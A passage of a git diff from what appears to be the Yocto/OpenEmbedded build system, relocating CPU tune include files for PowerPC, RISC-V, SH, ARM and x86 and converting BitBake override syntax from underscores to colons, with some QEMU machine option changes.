+TUNEVALID[ppce500mc] = "Enable ppce500mc specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce500mc', ' -mcpu=e500mc', '', d)}"
+
+AVAILTUNES += "ppce500mc"
+TUNE_FEATURES:tune-ppce500mc = "m32 fpu-hard ppce500mc bigendian"
+TUNE_PKGARCH:tune-ppce500mc = "ppce500mc"
+PACKAGE_EXTRA_ARCHS:tune-ppce500mc = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce500mc"
+
+# pass -mcpu=e500mc for ppce500mc kernel cross compile
+TARGET_CC_KERNEL_ARCH = "-mcpu=e500mc"
diff --git a/meta/conf/machine/include/tune-ppce500v2.inc b/meta/conf/machine/include/powerpc/tune-ppce500v2.inc
index f6c7c17623..461164d818 100644
--- a/meta/conf/machine/include/tune-ppce500v2.inc
+++ b/meta/conf/machine/include/powerpc/tune-ppce500v2.inc
@@ -15,6 +15,6 @@ SPEABIEXTENSION = "${@bb.utils.filter('TUNE_FEATURES', 'spe', d)}"
ABIEXTENSION .= "${SPEABIEXTENSION}"
AVAILTUNES += "ppce500v2"
-TUNE_FEATURES_tune-ppce500v2 = "m32 ppce500v2 bigendian"
-TUNE_PKGARCH_tune-ppce500v2 = "ppce500v2"
-PACKAGE_EXTRA_ARCHS_tune-ppce500v2 = "ppce500v2"
+TUNE_FEATURES:tune-ppce500v2 = "m32 ppce500v2 bigendian"
+TUNE_PKGARCH:tune-ppce500v2 = "ppce500v2"
+PACKAGE_EXTRA_ARCHS:tune-ppce500v2 = "ppce500v2"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce5500.inc b/meta/conf/machine/include/powerpc/tune-ppce5500.inc
new file mode 100644
index 0000000000..4915b81ee4
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce5500.inc
@@ -0,0 +1,20 @@
+DEFAULTTUNE ?= "ppce5500"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[e5500] = "Enable Freescale e5500 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' -mcpu=e5500', '', d)}"
+
+AVAILTUNES += "ppce5500 ppc64e5500"
+TUNE_FEATURES:tune-ppce5500 = "m32 fpu-hard e5500 bigendian"
+BASE_LIB:tune-ppce5500 = "lib"
+TUNE_PKGARCH:tune-ppce5500 = "ppce5500"
+PACKAGE_EXTRA_ARCHS:tune-ppce5500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce5500"
+
+TUNE_FEATURES:tune-ppc64e5500 = "m64 fpu-hard e5500 bigendian"
+BASE_LIB:tune-ppc64e5500 = "lib64"
+TUNE_PKGARCH:tune-ppc64e5500 = "ppc64e5500"
+PACKAGE_EXTRA_ARCHS:tune-ppc64e5500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64e5500"
+
+# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce6500.inc b/meta/conf/machine/include/powerpc/tune-ppce6500.inc
new file mode 100644
index 0000000000..f6310ab4c4
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce6500.inc
@@ -0,0 +1,20 @@
+DEFAULTTUNE ?= "ppce6500"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[e6500] = "Enable Freescale e6500 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' -mcpu=e6500', '', d)}"
+
+AVAILTUNES += "ppce6500 ppc64e6500"
+TUNE_FEATURES:tune-ppce6500 = "m32 fpu-hard e6500 altivec bigendian"
+BASE_LIB:tune-ppce6500 = "lib"
+TUNE_PKGARCH:tune-ppce6500 = "ppce6500"
+PACKAGE_EXTRA_ARCHS:tune-ppce6500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce6500"
+
+TUNE_FEATURES:tune-ppc64e6500 = "m64 fpu-hard e6500 altivec bigendian"
+BASE_LIB:tune-ppc64e6500 = "lib64"
+TUNE_PKGARCH:tune-ppc64e6500 = "ppc64e6500"
+PACKAGE_EXTRA_ARCHS:tune-ppc64e6500 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64e6500"
+
+# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/qemu.inc b/meta/conf/machine/include/qemu.inc
index 8dedb1a42d..bb7aec7675 100644
--- a/meta/conf/machine/include/qemu.inc
+++ b/meta/conf/machine/include/qemu.inc
@@ -3,10 +3,12 @@ PREFERRED_PROVIDER_virtual/egl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgl ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
XSERVER ?= "xserver-xorg \
${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'mesa-driver-swrast xserver-xorg-extension-glx', '', d)} \
xf86-video-fbdev \
+ xf86-video-modesetting \
"
MACHINE_FEATURES = "alsa bluetooth usbgadget screen vfat"
@@ -16,15 +18,13 @@ MACHINEOVERRIDES =. "qemuall:"
IMAGE_FSTYPES += "tar.bz2 ext4"
# Don't include kernels in standard images
-RDEPENDS_${KERNEL_PACKAGE_NAME}-base = ""
+RDEPENDS:${KERNEL_PACKAGE_NAME}-base = ""
# Use a common kernel recipe for all QEMU machines
PREFERRED_PROVIDER_virtual/kernel ??= "linux-yocto"
-EXTRA_IMAGEDEPENDS += "qemu-native qemu-helper-native"
-
# Provide the nfs server kernel module for all qemu images
-KERNEL_FEATURES_append_pn-linux-yocto = " features/nfsd/nfsd-enable.scc"
-KERNEL_FEATURES_append_pn-linux-yocto-rt = " features/nfsd/nfsd-enable.scc"
+KERNEL_FEATURES:append:pn-linux-yocto = " features/nfsd/nfsd-enable.scc"
+KERNEL_FEATURES:append:pn-linux-yocto-rt = " features/nfsd/nfsd-enable.scc"
IMAGE_CLASSES += "qemuboot"
diff --git a/meta/conf/machine/include/qemuboot-mips.inc b/meta/conf/machine/include/qemuboot-mips.inc
deleted file mode 100644
index e99bade2e3..0000000000
--- a/meta/conf/machine/include/qemuboot-mips.inc
+++ /dev/null
@@ -1,10 +0,0 @@
-# For runqemu
-IMAGE_CLASSES += "qemuboot"
-QB_MACHINE = "-machine malta"
-QB_KERNEL_CMDLINE_APPEND = "console=ttyS0 console=tty"
-QB_OPT_APPEND = "-usb -device usb-tablet"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
-
-# For graphics to work we need to define the VGA device as well as the necessary USB devices
-QB_OPT_APPEND += "-vga std"
diff --git a/meta/conf/machine/include/qemuboot-x86.inc b/meta/conf/machine/include/qemuboot-x86.inc
deleted file mode 100644
index ccc6dcd3bf..0000000000
--- a/meta/conf/machine/include/qemuboot-x86.inc
+++ /dev/null
@@ -1,15 +0,0 @@
-# For runqemu
-IMAGE_CLASSES += "qemuboot"
-QB_CPU_x86 = "-cpu core2duo"
-QB_CPU_KVM_x86 = "-cpu core2duo"
-
-QB_CPU_x86-64 = "-cpu core2duo"
-QB_CPU_KVM_x86-64 = "-cpu core2duo"
-
-QB_AUDIO_DRV = "alsa"
-QB_AUDIO_OPT = "-soundhw ac97,es1370"
-QB_KERNEL_CMDLINE_APPEND = "oprofile.timer=1"
-QB_OPT_APPEND = "-usb -device usb-tablet"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND += "-object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0"
-
diff --git a/meta/conf/machine/include/riscv/arch-riscv.inc b/meta/conf/machine/include/riscv/arch-riscv.inc
index e3dbef7fe3..230a266563 100644
--- a/meta/conf/machine/include/riscv/arch-riscv.inc
+++ b/meta/conf/machine/include/riscv/arch-riscv.inc
@@ -2,15 +2,14 @@
DEFAULTTUNE ?= "riscv64"
-TUNE_ARCH = "${TUNE_ARCH_tune-${DEFAULTTUNE}}"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
-TUNE_CCARGS_append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv64nf', ' -mabi=lp64', ' ', d)}"
-TUNE_CCARGS_append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv32nf', ' -mabi=ilp32', ' ', d)}"
+TUNE_ARCH = "${TUNE_ARCH:tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
+TUNE_CCARGS:append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv64nf', ' -mabi=lp64', ' ', d)}"
+TUNE_CCARGS:append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv32nf', ' -mabi=ilp32', ' ', d)}"
-# QEMU usermode fails with invalid instruction error (For riscv32)
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv32', ' qemu-usermode', '', d)}"
+TUNE_CCARGS:append = "${@bb.utils.contains('TUNE_FEATURES', 'riscv64nc', ' -march=rv64imafd', ' ', d)}"
# Fix: ld: unrecognized option '--hash-style=sysv'
-LINKER_HASH_STYLE_libc-newlib = ""
+LINKER_HASH_STYLE:libc-newlib = ""
# Fix: ld: unrecognized option '--hash-style=gnu'
-LINKER_HASH_STYLE_libc-baremetal = ""
+LINKER_HASH_STYLE:libc-baremetal = ""
diff --git a/meta/conf/machine/include/riscv/qemuriscv.inc b/meta/conf/machine/include/riscv/qemuriscv.inc
index 759c8a196e..d01d988eee 100644
--- a/meta/conf/machine/include/riscv/qemuriscv.inc
+++ b/meta/conf/machine/include/riscv/qemuriscv.inc
@@ -3,7 +3,7 @@ PREFERRED_PROVIDER_virtual/bootloader ?= "u-boot"
require conf/machine/include/qemu.inc
require conf/machine/include/riscv/tune-riscv.inc
-MACHINE_FEATURES = "screen keyboard ext2 ext3 serial"
+MACHINE_FEATURES += "keyboard ext2 ext3 serial"
KERNEL_IMAGETYPE = "Image"
KERNEL_IMAGETYPES += "uImage"
@@ -21,10 +21,11 @@ EXTRA_IMAGEDEPENDS += "opensbi"
RISCV_SBI_PLAT ?= "generic"
RISCV_SBI_PAYLOAD ?= "${KERNEL_IMAGETYPE}-${MACHINE}.bin"
-UBOOT_ENTRYPOINT_riscv32 = "0x80400000"
-UBOOT_ENTRYPOINT_riscv64 = "0x80200000"
+UBOOT_ENTRYPOINT:riscv32 = "0x80400000"
+UBOOT_ENTRYPOINT:riscv64 = "0x80200000"
# qemuboot options
+QB_SMP ?= "-smp 4"
QB_KERNEL_CMDLINE_APPEND = "earlycon=sbi"
QB_MACHINE = "-machine virt"
QB_DEFAULT_BIOS = "fw_jump.elf"
@@ -32,7 +33,7 @@ QB_TAP_OPT = "-netdev tap,id=net0,ifname=@TAP@,script=no,downscript=no"
QB_NETWORK_DEVICE = "-device virtio-net-device,netdev=net0,mac=@MAC@"
QB_ROOTFS_OPT = "-drive id=disk0,file=@ROOTFS@,if=none,format=raw -device virtio-blk-device,drive=disk0"
QB_SERIAL_OPT = "-device virtio-serial-device -chardev null,id=virtcon -device virtconsole,chardev=virtcon"
-QB_TCPSERIAL_OPT = " -device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1 -device virtconsole,chardev=virtcon"
-# Add the 'virtio-rng-pci' device otherwise the guest may run out of entropy
-QB_OPT_APPEND = " -object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-device,rng=rng0"
-
+QB_TCPSERIAL_OPT = " -device virtio-serial-device -chardev socket,id=virtcon,port=@PORT@,host=127.0.0.1,nodelay=on -device virtconsole,chardev=virtcon"
+QB_GRAPHICS = "-device bochs-display"
+QB_OPT_APPEND = "-device qemu-xhci -device usb-tablet -device usb-kbd"
+QB_OPT_APPEND:riscv32 = "-device virtio-tablet-pci -device virtio-keyboard-pci"
diff --git a/meta/conf/machine/include/riscv/tune-riscv.inc b/meta/conf/machine/include/riscv/tune-riscv.inc
index 741eeb34db..804712077e 100644
--- a/meta/conf/machine/include/riscv/tune-riscv.inc
+++ b/meta/conf/machine/include/riscv/tune-riscv.inc
@@ -6,28 +6,36 @@ TUNEVALID[riscv32] = "Enable 32-bit RISC-V optimizations"
TUNEVALID[riscv64nf] = "Enable 64-bit RISC-V optimizations no floating point"
TUNEVALID[riscv32nf] = "Enable 32-bit RISC-V optimizations no floating point"
+TUNEVALID[riscv64nc] = "Enable 64-bit RISC-V optimizations without compressed instructions"
+
TUNEVALID[bigendian] = "Big endian mode"
-AVAILTUNES += "riscv64 riscv32 riscv64nf riscv32nf"
+AVAILTUNES += "riscv64 riscv32 riscv64nc riscv64nf riscv32nf"
# Default
-TUNE_FEATURES_tune-riscv64 = "riscv64"
-TUNE_ARCH_tune-riscv64 = "riscv64"
-TUNE_PKGARCH_tune-riscv64 = "riscv64"
-PACKAGE_EXTRA_ARCHS_tune-riscv64 = "riscv64"
+TUNE_FEATURES:tune-riscv64 = "riscv64"
+TUNE_ARCH:tune-riscv64 = "riscv64"
+TUNE_PKGARCH:tune-riscv64 = "riscv64"
+PACKAGE_EXTRA_ARCHS:tune-riscv64 = "riscv64"
-TUNE_FEATURES_tune-riscv32 = "riscv32"
-TUNE_ARCH_tune-riscv32 = "riscv32"
-TUNE_PKGARCH_tune-riscv32 = "riscv32"
-PACKAGE_EXTRA_ARCHS_tune-riscv32 = "riscv32"
+TUNE_FEATURES:tune-riscv32 = "riscv32"
+TUNE_ARCH:tune-riscv32 = "riscv32"
+TUNE_PKGARCH:tune-riscv32 = "riscv32"
+PACKAGE_EXTRA_ARCHS:tune-riscv32 = "riscv32"
# No float
-TUNE_FEATURES_tune-riscv64nf = "${TUNE_FEATURES_tune-riscv64} riscv64nf"
-TUNE_ARCH_tune-riscv64nf = "riscv64"
-TUNE_PKGARCH_tune-riscv64nf = "riscv64"
-PACKAGE_EXTRA_ARCHS_tune-riscv64nf = "riscv64nf"
-
-TUNE_FEATURES_tune-riscv32nf = "${TUNE_FEATURES_tune-riscv32} riscv32nf"
-TUNE_ARCH_tune-riscv32nf = "riscv32"
-TUNE_PKGARCH_tune-riscv32nf = "riscv32"
-PACKAGE_EXTRA_ARCHS_tune-riscv32nf = "riscv32nf"
+TUNE_FEATURES:tune-riscv64nf = "${TUNE_FEATURES:tune-riscv64} riscv64nf"
+TUNE_ARCH:tune-riscv64nf = "riscv64"
+TUNE_PKGARCH:tune-riscv64nf = "riscv64nf"
+PACKAGE_EXTRA_ARCHS:tune-riscv64nf = "riscv64nf"
+
+TUNE_FEATURES:tune-riscv32nf = "${TUNE_FEATURES:tune-riscv32} riscv32nf"
+TUNE_ARCH:tune-riscv32nf = "riscv32"
+TUNE_PKGARCH:tune-riscv32nf = "riscv32nf"
+PACKAGE_EXTRA_ARCHS:tune-riscv32nf = "riscv32nf"
+
+# no compressed
+TUNE_FEATURES:tune-riscv64nc = "${TUNE_FEATURES:tune-riscv64} riscv64nc"
+TUNE_ARCH:tune-riscv64nc = "riscv64"
+TUNE_PKGARCH:tune-riscv64nc = "riscv64nc"
+PACKAGE_EXTRA_ARCHS:tune-riscv64nc = "riscv64nc"
diff --git a/meta/conf/machine/include/sh/README b/meta/conf/machine/include/sh/README
index b351acdd28..87d48b927b 100644
--- a/meta/conf/machine/include/sh/README
+++ b/meta/conf/machine/include/sh/README
@@ -5,7 +5,7 @@ Both big endian and little endian are defined for SH.
Experimental -- SH tunings have not been validated.
-The TUNE_ARCH is defined as ${TUNE_ARCH_tune-${DEFAULTTUNE}}.
+The TUNE_ARCH is defined as ${TUNE_ARCH:tune-${DEFAULTTUNE}}.
-The TUNE_PKGARCH is defind as ${TUNE_PKGARCH_tune-${DEFAULTTUNE}}.
+The TUNE_PKGARCH is defind as ${TUNE_PKGARCH:tune-${DEFAULTTUNE}}.
diff --git a/meta/conf/machine/include/sh/arch-sh.inc b/meta/conf/machine/include/sh/arch-sh.inc
index bdfbf52ca1..9d70e8511d 100644
--- a/meta/conf/machine/include/sh/arch-sh.inc
+++ b/meta/conf/machine/include/sh/arch-sh.inc
@@ -2,8 +2,8 @@
DEFAULTTUNE ?= "sh"
-TUNE_ARCH = "${TUNE_ARCH_tune-${DEFAULTTUNE}}"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_ARCH = "${TUNE_ARCH:tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
TUNEVALID[bigendian] = "Enabled big-endian mode."
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'bigendian', ' -mb', ' -ml', d)}"
diff --git a/meta/conf/machine/include/sh/tune-sh3.inc b/meta/conf/machine/include/sh/tune-sh3.inc
new file mode 100644
index 0000000000..77d0b71fc4
--- /dev/null
+++ b/meta/conf/machine/include/sh/tune-sh3.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "sh3"
+
+require conf/machine/include/sh/arch-sh.inc
+
+TUNEVALID[sh3] = "Enable SH3 optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh3', ' -m3', '', d)}"
+
+AVAILTUNES += "sh3 sh3eb"
+TUNE_FEATURES:tune-sh3 = "sh3"
+TUNE_ARCH:tune-sh3 = "sh3"
+TUNE_PKGARCH:tune-sh3 = "sh3"
+PACKAGE_EXTRA_ARCHS:tune-sh3 = "sh sh3"
+
+TUNE_FEATURES:tune-sh3eb = "sh3 bigendian"
+TUNE_ARCH:tune-sh3eb = "sh3eb"
+TUNE_PKGARCH:tune-sh3eb = "sh3eb"
+PACKAGE_EXTRA_ARCHS:tune-sh3eb = "sheb sh3eb"
diff --git a/meta/conf/machine/include/sh/tune-sh4.inc b/meta/conf/machine/include/sh/tune-sh4.inc
new file mode 100644
index 0000000000..b4893a4748
--- /dev/null
+++ b/meta/conf/machine/include/sh/tune-sh4.inc
@@ -0,0 +1,34 @@
+DEFAULTTUNE ?= "sh4"
+
+# Pull in sh4 for compatibility...
+require conf/machine/include/sh/arch-sh.inc
+
+TUNEVALID[sh4] = "Enable SH4 optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4', ' -m4', '', d)}"
+
+# NOTE: If you want to optimize to sh4a, conf/machine/include/sh/tune-sh4a.inc.
+# But it is not compatible for sh4.
+# The binary optimized by m4a doesn't operate on sh4. It works on sh4a only.
+TUNEVALID[sh4a] = "Enable SH4a optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4a', ' -m4a', '', d)}"
+
+AVAILTUNES += "sh4 sh4eb sh4a sh4aeb"
+TUNE_FEATURES:tune-sh4 = "sh4"
+TUNE_ARCH:tune-sh4 = "sh4"
+TUNE_PKGARCH:tune-sh4 = "sh4"
+PACKAGE_EXTRA_ARCHS:tune-sh4 = "sh sh4"
+
+TUNE_FEATURES:tune-sh4eb = "sh4 bigendian"
+TUNE_ARCH:tune-sh4eb = "sh4eb"
+TUNE_PKGARCH:tune-sh4eb = "sh4eb"
+PACKAGE_EXTRA_ARCHS:tune-sh4eb = "sheb sh4eb"
+
+TUNE_FEATURES:tune-sh4a = "sh4a"
+TUNE_ARCH:tune-sh4a = "sh4"
+TUNE_PKGARCH:tune-sh4a = "sh4a"
+PACKAGE_EXTRA_ARCHS:tune-sh4a = "sh sh4 sh4a"
+
+TUNE_FEATURES:tune-sh4aeb = "sh4a bigendian"
+TUNE_ARCH:tune-sh4aeb = "sh4eb"
+TUNE_PKGARCH:tune-sh4aeb = "sh4aeb"
+PACKAGE_EXTRA_ARCHS:tune-sh4aeb = "sheb sh4eb sh4aeb"
diff --git a/meta/conf/machine/include/tune-arm1136jf-s.inc b/meta/conf/machine/include/tune-arm1136jf-s.inc
deleted file mode 100644
index 173cb468ef..0000000000
--- a/meta/conf/machine/include/tune-arm1136jf-s.inc
+++ /dev/null
@@ -1,16 +0,0 @@
-DEFAULTTUNE ?= "armv6hf"
-
-require conf/machine/include/arm/arch-armv6.inc
-
-TUNEVALID[arm1136jfs] = "Enable arm1136jfs specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', ' -mcpu=arm1136jf-s', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', 'armv6:', '' ,d)}"
-
-AVAILTUNES += "arm1136jfs arm1136jfshf"
-ARMPKGARCH_tune-arm1136jfs = "arm1136jfs"
-ARMPKGARCH_tune-arm1136jfshf = "arm1136jfs"
-# mcpu is used so don't use armv6 as we don't want march
-TUNE_FEATURES_tune-arm1136jfs = "arm vfp arm1136jfs"
-TUNE_FEATURES_tune-arm1136jfshf = "${TUNE_FEATURES_tune-arm1136jfs} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-arm1136jfs = "${PACKAGE_EXTRA_ARCHS_tune-armv6} arm1136jfs-vfp"
-PACKAGE_EXTRA_ARCHS_tune-arm1136jfshf = "${PACKAGE_EXTRA_ARCHS_tune-armv6hf} arm1136jfshf-vfp"
diff --git a/meta/conf/machine/include/tune-arm1176jz-s.inc b/meta/conf/machine/include/tune-arm1176jz-s.inc
deleted file mode 100644
index a63d585698..0000000000
--- a/meta/conf/machine/include/tune-arm1176jz-s.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "arm1176jzs"
-
-require conf/machine/include/arm/arch-armv6.inc
-
-TUNEVALID[arm1176jzs] = "Enable arm1176jzs specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', ' -mcpu=arm1176jz-s', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', 'armv6:', '' ,d)}"
-
-AVAILTUNES += "arm1176jzs"
-ARMPKGARCH_tune-arm1176jzs = "arm1176jzs"
-TUNE_FEATURES_tune-arm1176jzs = "arm thumb arm1176jzs"
-PACKAGE_EXTRA_ARCHS_tune-arm1176jzs = "${PACKAGE_EXTRA_ARCHS_tune-armv6t-novfp} arm1176jzs arm1176jzst"
-
-AVAILTUNES += "arm1176jzs-be"
-ARMPKGARCH_tune-arm1176jzs-be = "${ARMPKGARCH_tune-arm1176jzs}"
-TUNE_FEATURES_tune-arm1176jzs-be = "${TUNE_FEATURES_tune-arm1176jzs} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-arm1176jzs-be = "${PACKAGE_EXTRA_ARCHS_tune-armv6tb-novfp} arm1176jzsb arm1176jzstb"
diff --git a/meta/conf/machine/include/tune-arm920t.inc b/meta/conf/machine/include/tune-arm920t.inc
deleted file mode 100644
index 42e8ed2b51..0000000000
--- a/meta/conf/machine/include/tune-arm920t.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "armv4t"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[arm920t] = "Enable arm920t specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', ' -mcpu=arm920t', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', 'armv4:', '' ,d)}"
-
-AVAILTUNES += "arm920t"
-ARMPKGARCH_tune-arm920t = "arm920t"
-# mcpu is used so don't use armv4t as we don't want march
-TUNE_FEATURES_tune-arm920t = "arm thumb arm920t"
-PACKAGE_EXTRA_ARCHS_tune-arm920t = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} arm920t arm920tt"
diff --git a/meta/conf/machine/include/tune-arm926ejs.inc b/meta/conf/machine/include/tune-arm926ejs.inc
deleted file mode 100644
index 563d53bc4e..0000000000
--- a/meta/conf/machine/include/tune-arm926ejs.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "armv5te"
-
-require conf/machine/include/arm/arch-armv5-dsp.inc
-
-TUNEVALID[arm926ejs] = "Enable arm926ejs specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', ' -mcpu=arm926ej-s', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', 'armv5:', '' ,d)}"
-
-AVAILTUNES += "arm926ejs"
-ARMPKGARCH_tune-arm926ejs = "arm926ejs"
-# mcpu is used so don't use armv5te as we don't want march
-TUNE_FEATURES_tune-arm926ejs = "arm thumb dsp arm926ejs"
-PACKAGE_EXTRA_ARCHS_tune-arm926ejs = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} arm926ejste arm926ejse"
diff --git a/meta/conf/machine/include/tune-arm9tdmi.inc b/meta/conf/machine/include/tune-arm9tdmi.inc
deleted file mode 100644
index e03a8b86a0..0000000000
--- a/meta/conf/machine/include/tune-arm9tdmi.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "armv4t"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[arm9tdmi] = "Enable arm9tdmi specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', ' -mcpu=arm9tdmi', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', 'armv4:', '' ,d)}"
-
-AVAILTUNES += "arm9tdmi"
-ARMPKGARCH_tune-arm9tdmi = "arm9tdmi"
-# mcpu is used so don't use armv4t as we don't want march
-TUNE_FEATURES_tune-arm9tdmi = "arm thumb arm9tdmi"
-PACKAGE_EXTRA_ARCHS_tune-arm9tdmi = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} arm9tdmit"
diff --git a/meta/conf/machine/include/tune-atom.inc b/meta/conf/machine/include/tune-atom.inc
deleted file mode 100644
index 5e1bb74c6c..0000000000
--- a/meta/conf/machine/include/tune-atom.inc
+++ /dev/null
@@ -1,2 +0,0 @@
-# Atom tunings are the same as core2 for now...
-require conf/machine/include/tune-core2.inc
diff --git a/meta/conf/machine/include/tune-c3.inc b/meta/conf/machine/include/tune-c3.inc
deleted file mode 100644
index 1b272b2505..0000000000
--- a/meta/conf/machine/include/tune-c3.inc
+++ /dev/null
@@ -1,12 +0,0 @@
-require conf/machine/include/x86/arch-x86.inc
-
-TUNEVALID[c3] = "VIA Cyrix III or VIA C3 specific optimizations"
-TUNECONFLICTS[c3] = "m64 mx32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'c3', ' -march=c3 -mtune=c3', '', d)}"
-
-AVAILTUNES += "c3"
-TUNE_FEATURES_tune-c3 = "${TUNE_FEATURES_tune-x86} c3"
-BASE_LIBS_tune-c3 = "${BASE_LIB_tune-x86}"
-# The following should likely be something other then i586...
-TUNE_PKGARCH_tune-c3 = "i586"
-PACKAGE_EXTRA_ARCHS_tune-c3 = "${PACKAGE_EXTRA_ARCHS_tune-x86} i386 i486 i586"
diff --git a/meta/conf/machine/include/tune-core2.inc b/meta/conf/machine/include/tune-core2.inc
deleted file mode 100644
index ddde719bde..0000000000
--- a/meta/conf/machine/include/tune-core2.inc
+++ /dev/null
@@ -1,38 +0,0 @@
-# Settings for the GCC(1) cpu-type "core2":
-#
-# Intel Core2 CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3 and SSSE3
-# instruction set support.
-#
-# This tune is recommended for the Intel Core 2 CPU family, including Conroe,
-# Merom and beyond, as well as the first Atom CPUs, Diamondville, and beyond.
-#
-DEFAULTTUNE ?= "core2-32"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/tune-i686.inc
-
-# Extra tune features
-TUNEVALID[core2] = "Enable core2 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'core2', ' -march=core2 -mtune=core2 -msse3 -mfpmath=sse', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "core2-32"
-TUNE_FEATURES_tune-core2-32 = "${TUNE_FEATURES_tune-x86} core2"
-BASE_LIB_tune-core2-32 = "lib"
-TUNE_PKGARCH_tune-core2-32 = "core2-32"
-PACKAGE_EXTRA_ARCHS_tune-core2-32 = "${PACKAGE_EXTRA_ARCHS_tune-i686} core2-32"
-QEMU_EXTRAOPTIONS_core2-32 = " -cpu n270"
-
-AVAILTUNES += "core2-64"
-TUNE_FEATURES_tune-core2-64 = "${TUNE_FEATURES_tune-x86-64} core2"
-BASE_LIB_tune-core2-64 = "lib64"
-TUNE_PKGARCH_tune-core2-64 = "core2-64"
-PACKAGE_EXTRA_ARCHS_tune-core2-64 = "${PACKAGE_EXTRA_ARCHS_tune-x86-64} core2-64"
-QEMU_EXTRAOPTIONS_core2-64 = " -cpu core2duo"
-
-AVAILTUNES += "core2-64-x32"
-TUNE_FEATURES_tune-core2-64-x32 = "${TUNE_FEATURES_tune-x86-64-x32} core2"
-BASE_LIB_tune-core2-64-x32 = "libx32"
-TUNE_PKGARCH_tune-core2-64-x32 = "core2-64-x32"
